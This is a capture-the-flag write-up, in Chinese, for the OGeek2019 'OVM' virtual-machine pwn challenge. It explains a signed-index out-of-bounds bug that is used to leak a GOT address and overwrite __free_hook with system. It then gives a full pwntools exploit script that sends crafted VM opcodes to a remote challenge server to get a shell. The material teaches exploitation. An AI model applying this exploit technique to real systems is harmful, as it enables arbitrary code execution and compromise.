0%

OGeek2019_Final_OVM

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,是一个虚拟机

其中,这里这条mov reg的指令比较重要

还有这里mov memory的指令也比较重要

这里两处,都存在下标越界,通过查看汇编指令可知,memory和reg都是**[有符号的数据数组。]{.mark}**

因此,利用reg[out] = memory[-X],可以向上越界,将数据存储在reg[out]里。向上越界,可以读取got表,进而可以获得glibc函数地址。同理,memory[-X] = reg[op],可以实现任意地址写。我们可以利用虚拟机指令,将comment篡改为free_hook的地址,然后,虚拟机指令执行完以后

这里会有一个对comment进行编辑的操作

编辑结束后会调用free

因此,我们将comment修改为free_hook,然后编辑的时候编辑为system或one_gadget的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#coding:utf8
from pwn import *

#sh = process('./ovm')
sh = remote('node3.buuoj.cn',25335)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
exit_sym = libc.sym['exit']
free_hook_sym = libc.symbols['__free_hook']
opcode = []

def mov_reg(reg,data):
#===================通过运算,使得reg[0]为指定值=============
#reg[i] = (data & 0xFF000000) >> 24
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF000000) >> 24))[::-1]))
#reg[11] = 24
opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(24))[::-1]))
#reg[12] = reg[i] << 24
opcode.append(u32( (p8(0xC0) + p8(12) + p8(reg) + p8(11))[::-1]))
#reg[i] = (data & 0xFF000000) >> 16
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF0000) >> 16))[::-1]))
#reg[11] = 16
opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(16))[::-1]))
#reg[13] = reg[i] << 16
opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1]))
#reg[12] = reg[12] | reg[13]
opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1]))
#reg[i] = (data & 0xFF00) >> 8
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF00) >> 8))[::-1]))
#reg[11] = 8
opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(8))[::-1]))
#reg[13] = reg[i] << 8
opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1]))
#reg[12] = reg[12] | reg[13]
opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1]))
#reg[i] = data & 0xFF
opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8(data & 0xFF))[::-1]))
#reg[i] |= reg[12]
opcode.append(u32( (p8(0xA0) + p8(reg) + p8(reg) + p8(12))[::-1]))
#=======================================================================
def mov_mem_reg(reg1,reg2):
#memory[reg1] = reg2
opcode.append(u32( (p8(0x40) + p8(reg2) + p8(0) + p8(reg1))[::-1]))

def mov_reg_mem(reg1,reg2):
opcode.append(u32( (p8(0x30) + p8(reg1) + p8(0) + p8(reg2))[::-1]))

def add_reg(reg1,reg2):
opcode.append(u32( (p8(0x70) + p8(reg1) + p8(reg1) + p8(reg2))[::-1]))

def print_reg():
opcode.append(u32( (p8(0) + p8(0) + p8(0) + p8(0xFF))[::-1]))

######将comment指向free_hook##############
#reg[0] = -0x20
mov_reg(0,0xFFFFFFE0)
#reg[1] = -8
mov_reg(1,0xFFFFFFF8)
#reg[2] = free_hook_sym - exit_sym - 0x8
mov_reg(2,free_hook_sym - exit_sym - 0x8)
#将exit的got内容取4字节存入reg[0]
mov_reg_mem(0,0)
#加上偏移,即变成了free_hook-0x8的地址低4字节
add_reg(0,2)
#在memory[-0x8]处写上reg[0]的内容
mov_mem_reg(1,0)
#reg[0] = -0x1F
mov_reg(0,0xFFFFFFE1)
#reg[1] = -7
mov_reg(1,0xFFFFFFF9)
#将exit的got+4内容取4字节存入reg[0]
mov_reg_mem(0,0)
#在memory[-0x7]处写上reg[0]的内容
mov_mem_reg(1,0)

##########泄露exit的got表
#reg[1] = -0x20
mov_reg(1,0xFFFFFFE0)
#将exit的got内容取4字节存入reg[1]
mov_reg_mem(1,1)
print_reg()


sh.sendlineafter('PC:','100')
sh.sendlineafter('SP','0')
sh.sendlineafter('CODE SIZE:',str(len(opcode)))
sh.recvuntil('CODE')
for o in opcode:
sh.sendline(str(o))

sh.recvuntil('R0: ')
high = int(sh.recvuntil('\n',drop = True),16)
sh.recvuntil('R1: ')
low = int(sh.recvuntil('\n',drop = True),16)
exit_addr = (high << 32) + low
libc_base = exit_addr - exit_sym
system_addr = libc_base + libc.sym['system']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free_hook,然后后面会触发,getshell
sh.sendafter('HOW DO YOU FEEL AT OVM?','/bin/sh\x00' + p64(system_addr))

sh.interactive()